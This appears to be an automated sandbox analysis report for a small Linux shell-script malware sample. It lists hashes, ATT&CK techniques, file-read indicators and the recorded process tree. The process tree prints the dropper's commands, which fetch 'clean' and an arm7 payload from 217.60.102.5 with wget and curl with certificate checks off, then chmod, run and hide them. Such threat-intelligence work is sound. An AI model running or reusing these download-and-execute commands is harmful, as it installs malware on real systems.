917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c

Analysis

max time kernel
39s
max time network
41s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/10/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh
Size 2KB
Sample261030-pg7xfsef24
SHA256 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c
MD5 8c34ff72c7eed017b8c25471ce5a8cad
SHA1 da559e617baef168e24e7befe99b61d889a62c5d
SHA512 2875bbe6fb5e0e83675a9ba767cfd2750600c5b4892d497c8e8a1ce74c7b44490754c3179ef3e64d5ab23523d073dd86dcd7ef62fcdb4128b6126cb2253d7ec6
TLSH
T17141E2BBB4B18E30335DC4B9B4866948B7579A6F44266E74F047743C36BC324B1743A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
775	chmod
801	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Reads network interface configuration 2 TTPs 6 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0/byte_queue_limits	find
File opened for reading	/sys/devices/virtual/net/lo/queues/rx-0	find
File opened for reading	/sys/devices/virtual/net/lo/statistics	find
File opened for reading	/sys/devices/virtual/net/lo/power	find
File opened for reading	/sys/devices/virtual/net/lo/queues	find
File opened for reading	/sys/devices/virtual/net/lo/queues/tx-0	find

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/cpu0	find
File opened for reading	/sys/devices/system/cpu/cpu0/power	find
File opened for reading	/sys/devices/system/cpu/cpu0/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpu0/topology	find
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/kernel/debug/tracing/events/kmem/kmalloc	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_inotify_rm_watch	find
File opened for reading	/sys/devices/platform/9030000.pl061/power	find
File opened for reading	/sys/fs/cgroup/blkio/user.slice/user-0.slice/session-c1.scope	find
File opened for reading	/sys/bus/platform/drivers/pinctrl-bcm2835	find
File opened for reading	/sys/module/sysrq/parameters	find
File opened for reading	/sys/module/autofs4/notes	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_truncate64	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_inotify_init1	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getegid	find
File opened for reading	/sys/devices/virtual/tty/tty51	find
File opened for reading	/sys/class/graphics	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/rsyslog.service	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_recvmsg	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_pciconfig_read	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_timerfd_create	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_statfs	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_fsync	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_readv	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_getgroups16	find
File opened for reading	/sys/devices/platform/alarmtimer	find
File opened for reading	/sys/kernel/debug/tracing/events/cma	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sched_setattr	find
File opened for reading	/sys/fs/cgroup/devices/user.slice/user-0.slice/[email protected]	find
File opened for reading	/sys/fs/cgroup/systemd/system.slice/systemd-journald.service	find
File opened for reading	/sys/bus/amba/drivers/rtc-pl030	find
File opened for reading	/sys/module/autofs4/sections	find
File opened for reading	/sys/kernel/irq/9	find
File opened for reading	/sys/kernel/debug/tracing/events/ftrace/funcgraph_entry	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sigaltstack	find
File opened for reading	/sys/module/virtio	find
File opened for reading	/sys/kernel/debug/tracing/events/ftrace/context_switch	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_quotactl	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sched_setscheduler	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_getgroups	find
File opened for reading	/sys/devices/virtual/tty/tty17	find
File opened for reading	/sys/bus/sunxi-rsb/drivers	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_epoll_pwait	find
File opened for reading	/sys/devices/virtual/misc/network_throughput/power	find
File opened for reading	/sys/fs/cgroup/pids/system.slice/auditd.service	find
File opened for reading	/sys/bus/amba	find
File opened for reading	/sys/module/virtio_ring/notes	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_request_key	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_timerfd_settime	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_enter_sysctl	find
File opened for reading	/sys/devices/virtual/tty/tty5	find
File opened for reading	/sys/dev	find
File opened for reading	/sys/firmware/devicetree/base/virtio_mmio@a000e00	find
File opened for reading	/sys/bus/platform/drivers/armv7-pmu	find
File opened for reading	/sys/kernel/irq/45	find
File opened for reading	/sys/kernel/debug/tracing/events/compaction/mm_compaction_begin	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_setresgid16	find
File opened for reading	/sys/kernel/debug/tracing/events/syscalls/sys_exit_faccessat	find
File opened for reading	/sys/devices/platform/9010000.pl031/rtc/rtc0	find
File opened for reading	/sys/devices/virtual/tty/tty46/power	find
File opened for reading	/sys/devices/virtual/vc/vcs5/power	find
File opened for reading	/sys/class/backlight	find
File opened for reading	/sys/fs/cgroup/net_cls,net_prio	find
File opened for reading	/sys/kernel/debug/tracing/events/clk/clk_set_rate	find
File opened for reading	/sys/devices/platform/a002400.virtio_mmio/power	find
File opened for reading	/sys/devices/system/clockevents/power	find
File opened for reading	/sys/devices/virtual/tty/tty38	find
File opened for reading	/sys/class/pci_bus	find
File opened for reading	/sys/fs/cgroup/devices/system.slice/systemd-logind.service	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/map_files	find
File opened for reading	/proc/10	find
File opened for reading	/proc/12/net/stat	find
File opened for reading	/proc/135/fdinfo	find
File opened for reading	/proc/222/ns	find
File opened for reading	/proc/302/task/312/fdinfo	find
File opened for reading	/proc/305/attr	find
File opened for reading	/proc/587/task/587/net/stat	find
File opened for reading	/proc/irq/19	find
File opened for reading	/proc/sys/net/ipv6/neigh/lo	find
File opened for reading	/proc/8	find
File opened for reading	/proc/109/task/109/fd	find
File opened for reading	/proc/109/net/netfilter	find
File opened for reading	/proc/289/task/289/net/netfilter	find
File opened for reading	/proc/587/ns	find
File opened for reading	/proc/638	find
File opened for reading	/proc/2/net/stat	find
File opened for reading	/proc/29/task/29/ns	find
File opened for reading	/proc/134/task/134/net/netfilter	find
File opened for reading	/proc/661/ns	find
File opened for reading	/proc/9/task/9/net/stat	find
File opened for reading	/proc/13/attr	find
File opened for reading	/proc/631/task/631/attr	find
File opened for reading	/proc/634/task/634/net/netfilter	find
File opened for reading	/proc/638/fdinfo	find
File opened for reading	/proc/642/net/netfilter	find
File opened for reading	/proc/4/task	find
File opened for reading	/proc/23/net	find
File opened for reading	/proc/29/fd	find
File opened for reading	/proc/42/fd	find
File opened for reading	/proc/98/net/stat	find
File opened for reading	/proc/283/fd	find
File opened for reading	/proc/283/net	find
File opened for reading	/proc/302/ns	find
File opened for reading	/proc/12/task/12	find
File opened for reading	/proc/23/task/23/net	find
File opened for reading	/proc/222/task/233/fd	find
File opened for reading	/proc/283	find
File opened for reading	/proc/305	find
File opened for reading	/proc/309/net/netfilter	find
File opened for reading	/proc/563/net/netfilter	find
File opened for reading	/proc/576/net/dev_snmp6	find
File opened for reading	/proc/2/task/2/attr	find
File opened for reading	/proc/2/attr	find
File opened for reading	/proc/6/task/6/net	find
File opened for reading	/proc/27/net	find
File opened for reading	/proc/28/fdinfo	find
File opened for reading	/proc/43/map_files	find
File opened for reading	/proc/108/task/108/ns	find
File opened for reading	/proc/168/attr	find
File opened for reading	/proc/41/task/41/fdinfo	find
File opened for reading	/proc/42/net/dev_snmp6	find
File opened for reading	/proc/98/task/98/net	find
File opened for reading	/proc/222/net	find
File opened for reading	/proc/302/task/312/net	find
File opened for reading	/proc/587/task/587/net/dev_snmp6	find
File opened for reading	/proc/644/task/644/ns	find
File opened for reading	/proc/666/task/666/ns	find
File opened for reading	/proc/106/net/netfilter	find
File opened for reading	/proc/168/task/168/net/stat	find
File opened for reading	/proc/302/net/dev_snmp6	find
File opened for reading	/proc/631/map_files	find
File opened for reading	/proc/639/net/stat	find
File opened for reading	/proc/661/task/664/net/netfilter	find

/tmp/sh
/tmp/sh
1⤵
PID:642
- /bin/findmnt
  findmnt -rn -O noexec -o TARGET
  2⤵
  PID:650
- /usr/bin/whoami
  whoami
  2⤵
  PID:660
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev -not -path "/dev/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path / -not -path "//*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /dev/shm -not -path "/dev/shm/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /proc/sys/fs/binfmt_misc -not -path "/proc/sys/fs/binfmt_misc/*" -not -path /dev/mqueue -not -path "/dev/mqueue/*" -not -path /dev/hugepages -not -path "/dev/hugepages/*" -not -path /sys/kernel/debug -not -path "/sys/kernel/debug/*" -not -path /run/user/0 -not -path "/run/user/0/*"
  2⤵
  - Reads network interface configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:666
- /bin/uname
  uname -mp
  2⤵
  PID:755
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:760
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:759
- /usr/bin/expr
  expr 59337 "%" 32 + 4
  2⤵
  PID:761
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:764
- /usr/bin/head
  head -c 13
  2⤵
  PID:765
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:763
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:766
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:768
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:769
- /bin/rm
  rm -rf clean
  2⤵
  PID:770
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/clean
  2⤵
  PID:771
- /usr/bin/curl
  curl -skO https://217.60.102.5/clean
  2⤵
  - Checks CPU configuration
  PID:774
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /bin/sh
  sh clean
  2⤵
  PID:776
- /bin/rm
  rm -rf clean
  2⤵
  PID:777
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:778
- /bin/rm
  rm -rf .2seNyBL07bXge
  2⤵
  PID:779
- /bin/grep
  grep -q x86_64
  2⤵
  PID:781
- /bin/grep
  grep -q amd64
  2⤵
  PID:783
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:785
- /bin/grep
  grep -q armv8
  2⤵
  PID:787
- /bin/grep
  grep -q aarch64
  2⤵
  PID:789
- /bin/grep
  grep -q armv7
  2⤵
  PID:791
- /bin/rm
  rm -rf arm7
  2⤵
  PID:792
- /usr/bin/wget
  wget --no-check-certificate -q https://217.60.102.5/arm7
  2⤵
  PID:793
- /usr/bin/curl
  curl -skO https://217.60.102.5/arm7
  2⤵
  - Checks CPU configuration
  PID:799
- /bin/mv
  mv -f arm7 .2seNyBL07bXge
  2⤵
  PID:800
- /bin/chmod
  chmod +x .2seNyBL07bXge
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /lost+found/.2seNyBL07bXge
  ./.2seNyBL07bXge
  2⤵
  PID:802

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /lost+found/.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads